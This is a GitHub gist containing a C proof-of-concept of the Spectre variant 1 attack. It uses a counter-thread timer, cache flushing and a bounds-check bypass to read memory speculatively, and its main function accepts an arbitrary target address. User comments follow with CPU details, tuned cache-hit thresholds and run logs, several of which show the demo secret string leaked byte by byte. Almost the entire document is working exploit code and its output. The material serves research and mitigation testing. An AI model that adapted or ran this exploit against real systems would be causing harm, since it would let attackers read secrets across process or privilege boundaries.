-
-
Save LionsAd/5116c9cd37f5805c797ed16fafbe93e4 to your computer and use it in GitHub Desktop.
#include <stdio.h> | |
#include <stdlib.h> | |
#include <stdint.h> | |
#include <pthread.h> | |
#ifdef _MSC_VER | |
#include <intrin.h> /* for rdtscp and clflush */ | |
#pragma optimize("gt",on) | |
#else | |
#include <x86intrin.h> /* for rdtscp and clflush */ | |
#endif | |
/******************************************************************** | |
Victim code. | |
********************************************************************/ | |
unsigned int array1_size = 16; | |
uint8_t unused1[64]; | |
uint8_t array1[160] = { | |
1, | |
2, | |
3, | |
4, | |
5, | |
6, | |
7, | |
8, | |
9, | |
10, | |
11, | |
12, | |
13, | |
14, | |
15, | |
16 | |
}; | |
uint8_t unused2[64]; | |
uint8_t array2[256 * 512]; | |
char * secret = "The Magic Words are Squeamish Ossifrage."; | |
uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */ | |
void victim_function(size_t x) { | |
if (x < array1_size) { | |
temp &= array2[array1[x] * 512]; | |
} | |
} | |
/******************************************************************** | |
Thread code | |
********************************************************************/ | |
int counter_thread_ended = 0; | |
uint32_t counter = 0; | |
void *counter_function(void *x_void_ptr) | |
{ | |
while (!counter_thread_ended) { | |
counter++; | |
} | |
printf("counter thread finished\n"); | |
return NULL; | |
} | |
/******************************************************************** | |
Analysis code | |
********************************************************************/ | |
#define CACHE_HIT_THRESHOLD (60) /* assume cache hit if time <= threshold */ | |
/* Report best guess in value[0] and runner-up in value[1] */ | |
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) { | |
static int results[256]; | |
static uint64_t time[256]; | |
static uint64_t num_time[256]; | |
int tries, i, j, k, mix_i; | |
unsigned int junk = 0; | |
size_t training_x, x; | |
register uint32_t time1, time2; | |
volatile uint8_t * addr; | |
for (i = 0; i < 256; i++) { | |
results[i] = 0; | |
time[i] = 0; | |
num_time[i] = 0; | |
} | |
for (tries = 999; tries > 0; tries--) { | |
/* Flush array2[256*(0..255)] from cache */ | |
for (i = 0; i < 256; i++) | |
_mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */ | |
/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */ | |
training_x = tries % array1_size; | |
for (j = 29; j >= 0; j--) { | |
_mm_clflush( & array1_size); | |
for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */ | |
/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */ | |
/* Avoid jumps in case those tip off the branch predictor */ | |
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */ | |
x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */ | |
x = training_x ^ (x & (malicious_x ^ training_x)); | |
/* Call the victim! */ | |
victim_function(x); | |
} | |
/* Time reads. Order is lightly mixed up to prevent stride prediction */ | |
for (i = 0; i < 256; i++) { | |
mix_i = ((i * 167) + 13) & 255; | |
addr = & array2[mix_i * 512]; | |
time1 = counter; /* READ TIMER */ | |
junk = * addr; /* MEMORY ACCESS TO TIME */ | |
time2 = counter - time1; /* READ TIMER & COMPUTE ELAPSED TIME */ | |
time[mix_i] += time2; | |
num_time[mix_i]++; | |
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size]) | |
results[mix_i]++; /* cache hit - add +1 to score for this value */ | |
} | |
/* Locate highest & second-highest results results tallies in j/k */ | |
j = k = -1; | |
for (i = 0; i < 256; i++) { | |
if (j < 0 || results[i] >= results[j]) { | |
k = j; | |
j = i; | |
} else if (k < 0 || results[i] >= results[k]) { | |
k = i; | |
} | |
} | |
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0)) | |
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */ | |
} | |
for (i = 0; i < 256; i++) { | |
printf("Average time for %d: %f, hits: %d\n", i, (double) (time[i] / num_time[i]), results[i]); | |
} | |
results[0] ^= junk; /* use junk so code above won’t get optimized out*/ | |
value[0] = (uint8_t) j; | |
score[0] = results[j]; | |
value[1] = (uint8_t) k; | |
score[1] = results[k]; | |
} | |
int main(int argc, | |
const char * * argv) { | |
size_t malicious_x = (size_t)(secret - (char * ) array1); /* default for malicious_x */ | |
int i, score[2], len = 40; | |
uint8_t value[2]; | |
// Setup the counter thread. | |
pthread_t counter_thread; | |
if (pthread_create(&counter_thread, NULL, counter_function, NULL)) { | |
fprintf(stderr, "Error creating thread\n"); | |
return 1; | |
} | |
// End Setup | |
for (i = 0; i < sizeof(array2); i++) | |
array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */ | |
if (argc == 3) { | |
sscanf(argv[1], "%p", (void * * )( & malicious_x)); | |
malicious_x -= (size_t) array1; /* Convert input value into a pointer */ | |
sscanf(argv[2], "%d", & len); | |
} | |
printf("Reading %d bytes:\n", len); | |
while (--len >= 0) { | |
printf("Reading at malicious_x = %p... ", (void * ) malicious_x); | |
readMemoryByte(malicious_x++, value, score); | |
printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear")); | |
printf("0x%02X=’%c’ score=%d ", value[0], | |
(value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]); | |
if (score[1] > 0) | |
printf("(second best: 0x%02X score=%d)", value[1], score[1]); | |
printf("\n"); | |
} | |
// Start: Exit counter thread | |
counter_thread_ended = 1; | |
if (pthread_join(counter_thread, NULL)) { | |
fprintf(stderr, "Error joining thread\n"); | |
return 2; | |
} | |
// End: Exit counter thread | |
return (0); | |
} |
suse leap 42.3
vendor_id : AuthenticAMD
cpu family : 21
model : 2
model name : AMD FX(tm)-8350 Eight-Core Processor
stepping : 0
microcode : 0x600084f
works better with
#define CACHE_HIT_THRESHOLD (15)
Unclear: 0x54=’T’ score=991 (second best: 0xB4 score=990)
Unclear: 0x68=’h’ score=997 (second best: 0xB4 score=993)
Unclear: 0x65=’e’ score=996 (second best: 0xB4 score=995)
Unclear: 0xB4=’?’ score=994 (second best: 0x20 score=993)
Unclear: 0x4D=’M’ score=994 (second best: 0xB4 score=985)
Unclear: 0xB4=’?’ score=996 (second best: 0x61 score=988)
Unclear: 0x67=’g’ score=992 (second best: 0xB4 score=989)
Unclear: 0x69=’i’ score=999 (second best: 0xB4 score=992)
Unclear: 0x63=’c’ score=996 (second best: 0xB4 score=992)
Unclear: 0x20=’ ’ score=994 (second best: 0xB4 score=993)
Unclear: 0x57=’W’ score=996 (second best: 0xB4 score=994)
Unclear: 0x6F=’o’ score=998 (second best: 0xB4 score=988)
Unclear: 0x72=’r’ score=998 (second best: 0xB4 score=992)
Unclear: 0x64=’d’ score=996 (second best: 0xB4 score=991)
Unclear: 0x73=’s’ score=998 (second best: 0xB4 score=995)
Unclear: 0xB4=’?’ score=997 (second best: 0x20 score=995)
Unclear: 0x61=’a’ score=997 (second best: 0xB4 score=991)
Unclear: 0x72=’r’ score=996 (second best: 0xB4 score=993)
Unclear: 0x65=’e’ score=997 (second best: 0xB4 score=993)
Unclear: 0x20=’ ’ score=998 (second best: 0xB4 score=996)
vendor_id : GenuineIntel
cpu family : 6
model : 23
model name : Genuine Intel(R) CPU U7300 @ 1.30GHz
stepping : 10
microcode : 0xa07
./spectre_thread
Reading 40 bytes:
Reading at malicious_x = 0xffffde10... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde11... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde12... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde13... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde14... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde15... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde16... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde17... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde18... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde19... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde1a... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde1b... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde1c... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde1d... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde1e... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde1f... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde20... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde21... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde22... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde23... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde24... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde25... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde26... Unclear: 0xFE=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffde27... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde28... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde29... Unclear: 0xFE=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffde2a... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde2b... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde2c... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde2d... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde2e... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde2f... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde30... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde31... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde32... Unclear: 0xFF=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffde33... Unclear: 0xFF=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffde34... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde35... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde36... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde37... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
counter thread finished
But non-threaded code reveals few (2-5) symbols.
vendor_id : AuthenticAMD
cpu family : 21
model : 19
model name : AMD A8-6600K APU with Radeon(tm) HD Graphics
stepping : 1
microcode : 0x6001119
works better with
#define CACHE_HIT_THRESHOLD (20)
# ./spectre-thread
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfee08... Unclear: 0x54=’T’ score=984 (second best: 0xAE score=974)
Reading at malicious_x = 0xffffffffffdfee09... Unclear: 0x68=’h’ score=977 (second best: 0x9A score=951)
Reading at malicious_x = 0xffffffffffdfee0a... Unclear: 0x65=’e’ score=951 (second best: 0xAC score=935)
Reading at malicious_x = 0xffffffffffdfee0b... Unclear: 0x20=’ ’ score=952 (second best: 0xAE score=917)
Reading at malicious_x = 0xffffffffffdfee0c... Unclear: 0x4D=’M’ score=939 (second best: 0xAA score=888)
Reading at malicious_x = 0xffffffffffdfee0d... Unclear: 0x61=’a’ score=950 (second best: 0x50 score=880)
Reading at malicious_x = 0xffffffffffdfee0e... Unclear: 0x67=’g’ score=957 (second best: 0x50 score=887)
Reading at malicious_x = 0xffffffffffdfee0f... Unclear: 0x69=’i’ score=915 (second best: 0x4E score=847)
Reading at malicious_x = 0xffffffffffdfee10... Unclear: 0x63=’c’ score=927 (second best: 0x54 score=872)
Reading at malicious_x = 0xffffffffffdfee11... Unclear: 0x20=’ ’ score=938 (second best: 0x24 score=888)
Reading at malicious_x = 0xffffffffffdfee12... Unclear: 0x57=’W’ score=971 (second best: 0xA7 score=929)
Reading at malicious_x = 0xffffffffffdfee13... Unclear: 0x6F=’o’ score=957 (second best: 0xB9 score=884)
Reading at malicious_x = 0xffffffffffdfee14... Unclear: 0x72=’r’ score=959 (second best: 0x54 score=855)
Reading at malicious_x = 0xffffffffffdfee15... Unclear: 0x64=’d’ score=912 (second best: 0x4F score=894)
Reading at malicious_x = 0xffffffffffdfee16... Unclear: 0x73=’s’ score=988 (second best: 0x82 score=972)
Reading at malicious_x = 0xffffffffffdfee17... Unclear: 0x20=’ ’ score=972 (second best: 0xAE score=958)
Reading at malicious_x = 0xffffffffffdfee18... Unclear: 0x61=’a’ score=984 (second best: 0xF3 score=969)
Reading at malicious_x = 0xffffffffffdfee19... Unclear: 0x72=’r’ score=974 (second best: 0x29 score=936)
Reading at malicious_x = 0xffffffffffdfee1a... Unclear: 0x65=’e’ score=946 (second best: 0xAE score=931)
...
vendor_id : AuthenticAMD
cpu family : 22
model : 48
model name : AMD A4-7210 APU with AMD Radeon R3 Graphics
stepping : 1
microcode : 0x7030105
Compile: gcc spectre.c -o spectre
, #define CACHE_HIT_THRESHOLD 70
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfee48... Success: 0x54=’T’ score=2
Reading at malicious_x = 0xffffffffffdfee49... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdfee4a... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfee4b... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfee4c... Success: 0x4D=’M’ score=2
Reading at malicious_x = 0xffffffffffdfee4d... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfee4e... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdfee4f... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfee50... Success: 0x63=’c’ score=2
Reading at malicious_x = 0xffffffffffdfee51... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfee52... Success: 0x57=’W’ score=2
Reading at malicious_x = 0xffffffffffdfee53... Success: 0x6F=’o’ score=2
Reading at malicious_x = 0xffffffffffdfee54... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfee55... Success: 0x64=’d’ score=2
Reading at malicious_x = 0xffffffffffdfee56... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfee57... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfee58... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfee59... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfee5a... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfee5b... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfee5c... Success: 0x53=’S’ score=2
Reading at malicious_x = 0xffffffffffdfee5d... Success: 0x71=’q’ score=2
Reading at malicious_x = 0xffffffffffdfee5e... Success: 0x75=’u’ score=2
Reading at malicious_x = 0xffffffffffdfee5f... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfee60... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfee61... Success: 0x6D=’m’ score=2
Reading at malicious_x = 0xffffffffffdfee62... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfee63... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfee64... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdfee65... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfee66... Success: 0x4F=’O’ score=2
Reading at malicious_x = 0xffffffffffdfee67... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfee68... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfee69... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfee6a... Success: 0x66=’f’ score=2
Reading at malicious_x = 0xffffffffffdfee6b... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfee6c... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfee6d... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdfee6e... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfee6f... Success: 0x2E=’.’ score=2
I can't get this to work. counter
seems to be being cached, so I get the same value for the read before and after, and time2
is always 0.
Oracle Virtual Box